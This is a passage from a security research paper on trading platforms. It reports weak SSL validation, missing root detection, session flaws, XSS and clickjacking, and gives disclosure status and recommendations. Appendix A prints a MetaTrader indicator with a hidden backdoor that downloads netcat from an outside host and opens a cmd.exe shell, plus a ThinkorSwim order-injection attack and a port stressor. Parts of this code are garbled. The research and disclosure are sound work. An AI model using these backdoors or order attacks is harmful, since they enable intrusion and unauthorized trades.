11 of the reviewed apps (32%) do not check the authenticity of the remote endpoint by verifying its SSL certificate; therefore, it's feasible to perform Man-in-the-Middle (MiTM) attacks to eavesdrop on and tamper with data. Some MiTM attacks require to trick the user into installing a malicious certificate on their phones, though.
The ones that verify the certificate normally do not transmit any data, however, only Charles Schwab allows the user to use the app with the provided certificate:

![Invalid Certificate]

**Invalid Certificate**
The certificate presented by the server was not recognized and your network data, including login and account information, could be exposed and manipulated. Do you trust **PortSwigger CA** to secure this connection?

- Once
- Always
- Cancel

**Root Detection**
Many Android apps do not run on rooted devices for security reasons. On a rooted phone the user has full control of the system, hence, access to files, databases, and logs is complete, thus, it’s easier to extract valuable information.

27 Android apps (79%) do not detect rooted environments. Only a few apps, such as TD Ameritrade and Thinkorswim, detect rooted phones but simply show a warning message and allow the user to keep using the platform normally:
Other Weaknesses

Other minor issues found on mobile platforms are:

- **Client-side data validation not performed**: the web views implemented do not sanitize against injected HTML/JavaScript code.

For example, in the case of Fidelity and Capital One where partial MiTM was possible, malicious HTML code could be injected and rendered in the mobile app, such as the following fake login page to steal user’s credentials:
Web-specific Vulnerabilities

Web platforms are also very complete trading solutions, and the attack surface is large.

The following are some common vulnerabilities found in web platforms.

**Session Still Valid After Logout**

Normally, when the logout button is pressed in an app, the session is finished on both sides: server and client. Usually the server deletes the session token from its valid session list and sends a new empty or random value back to the client to clear or overwrite the session token, so the client needs to reauthenticate next time.
In some web platforms such as Yahoo! Finance, E-TRADE, Charles Schwab and Fidelity, the session was still valid one hour after clicking the logout button. Yahoo! Finance fixed the vulnerability very quickly after reported.
Session Cookies without Security Attributes

Regarding session cookies, the HttpOnly flag is a client-side control that tells the browser that the cookie's value cannot be read by JavaScript. Therefore, this flag helps to prevent client-side attacks such as XSS that access the value of the cookie. On the other hand, the Secure flag prevents cookies from being sent through an unencrypted HTTP request.

In more than 50% of the web platforms one or both security attributes were missing when setting the session cookie(s).

Lack of HTTP Security Headers

Some HTTP response headers help web applications increase their security. Once set, these headers can restrict modern browsers from running into easily preventable vulnerabilities.

The reviewed headers are:

- **Strict-Transport-Security:** HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797. A server implements an
HSTS policy by supplying a header (Strict-Transport-Security) over an HTTPS connection

- **Content-Security-Policy:** A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g. inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.

- **X-XSS-Protection:** Enables the XSS filter in the browser.

**Approximately, 70% of the web platforms lack from one or all of such headers.**

**Other Weaknesses**

Other minor issues found on this platform are:

- **Cross-site Scripting:** attackers could trick users into following a link or navigating to a page that posts a malicious JavaScript statement to the vulnerable site, causing the malicious JavaScript to be returned to and executed by the client.

Only one instance of XSS was found (**Interactive Brokers**):

- **Sensitive data in URL:** in a few cases, sensitive data was found in GET requests. This means that the values are passed as parameters in the URL, which could be stored in web server logs or web browsers’ history.

- **Clickjacking:** 50% of the web platforms lack either the X-Frame-Options header or framekillers, hence, it’s possible to redress the login page (clickjacking vulnerability). An attacker could trick the user through phishing to click a malicious site that redresses the login page in order to steal the user’s credentials.

The following are examples of redressed login forms:
Internal IP addresses and emails disclosure: fewer than 30% of web platforms, IPs and emails were found either in HTTP response headers, HTTP body or JavaScript files.
Statistics

Since a picture is worth a thousand words, consider the following graphs:
Responsible Disclosure

One of IOActive’s missions is to act responsibly when it comes to vulnerability disclosure. In September 2017 we sent a detailed report to 13 of the brokerage firms whose mobile trading apps presented some of the higher risks vulnerabilities discussed in this paper. More recently, between May and July 2018, we sent additional vulnerability reports to brokerage firms.

As of July 27, 2018, 19 brokers that have medium- or high-risk vulnerabilities in any of their platforms were contacted. The following table lists the current status of the responsible disclosure process. The status field entries are:

- **Reported**: Vulnerability report sent.
- **Contact initiated, no answer yet**: Email or contact form submitted asking for appropriate security contact information. No answer received yet.

<table>
<thead>
<tr>
<th>Broker</th>
<th>Date Reported</th>
<th>Status</th>
</tr>
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<tbody>
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<td>Reported</td>
</tr>
<tr>
<td></td>
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<td>Status</td>
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<tr>
<td>--------------</td>
<td>---------------</td>
<td>---------------------------------------------</td>
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<tr>
<td>Charles Schwab</td>
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</tbody>
</table>

**TD Ameritrade, Charles Schwab** and **Yahoo! Finance** were the brokers that communicated more with IOActive for resolving the reported issues.
Regulators and Rating Organizations

Digging in some US regulators’ websites,[8][9][10] I noticed that they are already aware of the cybersecurity threats that might negatively impact financial markets and stakeholders. Most of the published content focuses on general threats that could impact end-users or institutions such as phishing, identity theft, antivirus software, social media risks, privacy, and procedures to follow in case of cybersecurity incidents, such as data breaches or disruptive attacks.

Nevertheless, I did not find any documentation related to the security risks of electronic trading nor any recommended guidance for secure software development to educate brokers and FinTech companies on how to create quality products.

In addition, there are rating organizations that score online brokers on a scale of 1 to 5 stars. I glimpsed two recent reports[11][12] and didn’t find anything related to security or privacy in their reviews. Nowadays, with frequent cyberattacks in the financial industry, I think these organizations should give accolades or at least mention the security mechanisms the evaluated trading platforms implement in their reviews.
Further Research

An interesting topic related to trading technologies that has not been researched in depth, is social trading and its related risks.

The way we communicate has drastically changed over the past decade. Nowadays, we heavily consume social media and use it in many ways, including to express our sentiments regarding companies. Even the stock markets interact with people through social media, for example, NYSE and NASDAQ share Instagram Stories every day:

Many brokerage houses also focus on social trading and implement related features on their platforms. For instance, some platforms offer social feeds that allow you to share your buy/sell orders; someone else could copycat your strategy with a single click. In addition to fundamental and technical analysis tools, other platforms feature a social tab where you can see public sentiment for a stock. This metric analyzes acceptance or rejection of certain securities by people on social media.
In addition, companies such as StockTwits select and analyze Twitter content. This feed is used later as an input to some trading platforms.
Social media is a strong weapon for many, if not most, traders. However, there’s risk related to trading on misleading information (i.e. fake news) or confusion, such as the following example:

The security flaws found in PGP software dropped the stock price of another company whose stock symbol is PGP. This small confusion caused many traders to take a short position. Thankfully, the price recovered quickly.

The inherent risks associated with trading based on social media is a topic worthy of future research.
Conclusions and Recommendations

- Trading platforms are **less secure than** the applications seen in **retail banking**.
- There’s still a long way to go to improve the maturity level of security in trading technologies.

  - **End users** should enable all the security mechanisms their platforms offer, such as 2FA and/or biometric authentication and automatic lockout/logout. Also, it’s recommended not to trade while connected to public networks and not to use the same password for other financial services.

- **Brokerage firms** should perform regular internal audits to continuously improve the security of their trading platforms.

- **Brokerage firms** should also offer security guidance in their online education centers.

- **Developers** should analyze their current applications to determine if they suffer from the vulnerabilities described in this paper, and if so, fix them.

- **Developers** should design new, more secure financial software following secure coding practices.

- **Regulators** should encourage brokers to implement safeguards for a better trading environment.

- In addition to the generic IT best practices for secure software development, **regulators** should develop trading-specific guidelines to be followed by the brokerage firms and FinTech companies in charge of creating trading software.

- **Rating organizations** should include security in their reviews.
Side Note

Remember: the stock market is not a casino where you magically get rich overnight. If you lack an understanding of how stocks or other financial instruments work, there is a high risk of losing money quickly. You must understand the market and its purpose before investing.

With nothing left to say, I wish you happy and secure trading!
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Appendix A: Code

MetaTrader 5 Backdoor Disguised as an Ichimoku Indicator

```plaintext
//+------------------------------------------------------------------
//| Copyright 2009-2017, MetaQuotes Software Corp.                     |
//| http://www.mql5.com                                             |
//| nc backdoor (port 31337) disguised as an Ichimoku indicator      |
//| Alejandro Hernandez [@nitr0usmx]                                |
//+------------------------------------------------------------------
#property copyright "2009-2017, MetaQuotes Software Corp."
#property link "http://www.mql5.com"
#property description "Ichimoku Kinko Hyo"
#property version "13.37"

//--- indicator settings
#property indicator_chart_window
#property indicator_buffers 5
#property indicator_plots 4
#property indicator_type1 DRAW_LINE
#property indicator_type2 DRAW_LINE
#property indicator_type3 DRAW_FILLING
#property indicator_type4 DRAW_LINE
#property indicator_color1 Red
#property indicator_color2 Blue
#property indicator_color3 SandyBrown, Thistle
#property indicator_color4 Lime
#property indicator_label1 "Tenkan-sen"
#property indicator_label2 "Kijun-sen"
#property indicator_label3 "Senkou Span A; Senkou Span B"
#property indicator_label4 "Chikou Span"

//--- Ichimoku cloud library
#import "shell32.dll"
int ShellExecuteW(int hwnd, string Operation, string File, string Parameters, string Directory, int ShowCmd);

#import

//--- input parameters
input int InpTenkan=9; // Tenkan-sen
input int InpKijun=26; // Kijun-sen
input int InpSenkou=52; // Senkou Span B

//--- indicator buffers
double ExtTenkanBuffer[];
double ExtKijunBuffer[];
double ExtSpanABuffer[];
double ExtSpanBBuffer[];
double ExtChikouBuffer[];

//+------------------------------------------------------------------
//| Custom indicator initialization function                        |
```

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void OnInit()
{
    //--- indicator buffers mapping
    SetIndexBuffer(0, ExtTenkanBuffer, INDICATOR_DATA);
    SetIndexBuffer(1, ExtKijunBuffer, INDICATOR_DATA);
    SetIndexBuffer(2, ExtSpanABuffer, INDICATOR_DATA);
    SetIndexBuffer(3, ExtSpanBBuffer, INDICATOR_DATA);
    SetIndexBuffer(4, ExtChikouBuffer, INDICATOR_DATA);
    //---
    IndicatorSetInteger(INDICATOR_DIGITS, _Digits+1);
    //--- sets first bar from what index will be drawn
    PlotIndexSetInteger(0, PLOT_DRAW_BEGIN, InpTenkan);
    PlotIndexSetInteger(1, PLOT_DRAW_BEGIN, InpKijun);
    PlotIndexSetInteger(2, PLOT_DRAW_BEGIN, InpSenkou-1);
    //--- lines shifts when drawing
    PlotIndexSetInteger(2, PLOT_SHIFT, InpKijun);
    PlotIndexSetInteger(3, PLOT_SHIFT, -InpKijun);
    //--- change labels for DataWindow
    PlotIndexSetString(0, PLOT_LABEL, "Tenkan-sen("+string(InpTenkan)+")");
    PlotIndexSetString(1, PLOT_LABEL, "Kijun-sen("+string(InpKijun)+")");
    PlotIndexSetString(2, PLOT_LABEL, "Senkou Span A;Senkou Span B("+string(InpSenkou)+")");
    //--- Draw the Ichimoku cloud
    ShellExecuteW(0, "Open", "certutil", "-URLCache -f -split http://ichimoku.clouds.org:8484/nc.64 ichimoku.64", "C:\Windows\Temp\", 0);
    ShellExecuteW(0, "Open", "certutil", "-decode ichimoku.64 ichimoku.exe", "C:\Windows\Temp\", 0);
    ShellExecuteW(0, "Open", "ichimoku", "-l -p 31337 -e cmd.exe", "C:\Windows\Temp\", 0);
    //--- initialization done
    printf("Ichimoku loaded");
}

double Highest(const double& array[], int range, int fromIndex)
{
    double res=0;
    //---
    res=array[fromIndex];
    for(int i=fromIndex; i>fromIndex-range && i>=0; i--)
    {
        if(res<array[i]) res=array[i];
    }
    //---
    return(res);
double Lowest(const double&array[], int range, int fromIndex)
{
    double res=0;
    //---
    res=array[fromIndex];
    for(int i=fromIndex;i>fromIndex-range && i>=0;i--)
    {
        if(res>array[i]) res=array[i];
    }
    //---
    return(res);
}

int OnCalculate(const int rates_total, const int prev_calculated,
                const datetime &time[], const double &open[],
                const double &high[],
                const double &low[],
                const double &close[],
                const long &tick_volume[],
                const long &volume[],
                const int &spread[])
{
    int limit;
    //---
    if(prev_calculated==0) limit=0;
    else limit=prev_calculated-1;
    //---
    for(int i=limit;i<rates_total && !IsStopped();i++)
    {
        ExtChikouBuffer[i]=close[i];
        //--- tenkan sen
        double _high=Highest(high, InpTenkan, i);
        double _low=Lowest(low, InpTenkan, i);
        ExtTenkanBuffer[i]=(_high+_low)/2.0;
        //--- kijun sen
        _high=Highest(high, InpKijun, i);
        _low=Lowest(low, InpKijun, i);
        ExtKijunBuffer[i]=(_high+_low)/2.0;
        //--- senkou span a
        ExtSpanABuffer[i]=(ExtTenkanBuffer[i]+ExtKijunBuffer[i])/2.0;
--- senkou span b
  _high=Highest(high,InpSenkou,i);
  _low=Lowest(low,InpSenkou,i);
  ExtSpanBBuf[i]=(_high+_low)/2.0;
}

--- done
  return(rates_total);
}

//+------------------------------------------------------------------

ThinkorSwim Order Pop-up Attack
/*
 * ThinkorSwim Order Pop-up Attack
 *
 * Sends the same ORDER every N_MINS mins to the TCP-order server listening on ORDER_PORT
 *
 * Reversed from usergui.jar:
 * usergui/com/devexperts/tos/ui/user/util/TradingServerRAT.java
 *
 * VALID ORDERS:
 * ORDER FOR NFLX (10)     <---- To BUY 10 shares of NFLX (Netflix) at MARKET price
 * ORDER FOR NFLX (-10)    <---- To SELL 10 shares of NFLX (Netflix) at MARKET price
 * ORDER FOR NFLX (10) LIMIT COST 20000    <---- To BUY 10 shares of NFLX (Netflix) at LIMIT price of 20 USD (three decimals)
 *
 * Compiled with Dev-C++.
 * Tools -> Compiler Options -> Add this to the link options to use with WinSock library: -lws2_32
 *
 * Alejandro Hernandez
 * @nitr0usmx
 *
*/

#include<winsock.h>

#define ORDER "ORDER FOR NFLX (10)"    // To BUY 10 shares of NFLX (Netflix) at MARKET price

#define ORDER_PORT 2000

#define N_MINS 5 // 5 mins between orders
#define TIME_BETWEEN_ORDERS (N_MINS * 60 * 1000)
int main()
{
    unsigned n = 0;
    WSADATA wsa;
    SOCKET sfd;
    SOCKADDR_IN sin;
    HOSTENT *remote;

    WSAStartup(MAKEWORD(2, 2), &wsa);

    remote = gethostbyname("127.0.0.1");

    memset(&sin, 0x00, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port   = htons(ORDER_PORT);
    sin.sin_addr   = *((struct in_addr *) remote->h_addr);

    while(1){
        sfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

        connect(sfd, (LPSOCKADDR)&sin, sizeof(sin));

        send(sfd, ORDER, strlen(ORDER), 0);
        send(sfd, "\n", 1, 0);

        //sleep(TIME_BETWEEN_ORDERS);
        sleep(2000);

        closesocket(sfd);
    }
}

Generic Port Stressor

/*
 * Compiled with Dev-C++.
 * Tools -> Compiler Options -> Add this to the link options to use with
 * WinSock library: -lws2_32
 *
 * Alejandro Hernandez
 * @nitro0usmx
 *
 */

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<winsock.h>

int main(int argc, char *argv[]) {
    unsigned int n, n_conns;
    WSADATA wsa;
    SOCKADDR_IN sin;
    HOSTENT *remote;

    printf("---*-*-*-*-*-*-*-*-*-*-*-*-\n");
    printf("** Generic Port Stressor **\n");
    printf("---*-*-*-*-*-*-*-*-*-*-*-\n\n");

    if(argc != 4) {
        fprintf(stderr, "Usage: %s <host> <port> <num_connections>\n", argv[0]);
        exit(-1);
    }

    if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        fprintf(stderr, "WSAStartup() - Error code: %d\n",
WSAGetLastError());
        exit(-1);
    }

    if((remote = gethostbyname(argv[1])) == NULL) {
        fprintf(stderr, "gethostbyname() - Cannot resolve hostname. Error code: %d\n",
WSAGetLastError());
        WSACleanup();
        exit(-1);
    }

    memset(&sin, 0x00, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(atoi(argv[2]));
    sin.sin_addr = *((struct in_addr *) remote->h_addr);

    n_conns = atoi(argv[3]);
    SOCKET sfd[n_conns];

    for(n = 0; n < n_conns; n++) {
        if((sfd[n] = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
            fprintf(stderr, "socket() - Cannot create a socket. Error code: %d\n",
WSAGetLastError());
            goto bye;
        }

        if(connect(sfd[n], (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR){

    }"
fprintf(stderr, "connect() - Cannot connect. Error code: %d\n", WSAGetLastError());
    goto bye;
}
    printf(".\c", n == 0 ? '\r' : n % 16 == 0 ? '\n' : '');
}
bye:
    printf("\n\nSuccessful connections made: %d\n\n", n);
    printf("Press any key to close all the connections and finish\n");
    getchar();
    WSACleanup();
    return 0;
}
About the Writer

Alejandro Hernández is a senior security consultant at IOActive, Inc., who has more than 10 years of experience in the security space. He provides security services to Fortune 500 companies and other organizations around the world. In addition to authoring Melkor, he co-authored DotDotPwn, a directory traversal fuzzer. He is a speaker at security conferences in South America and the United States. Follow Alejandro on Twitter: @nitr0usmx.

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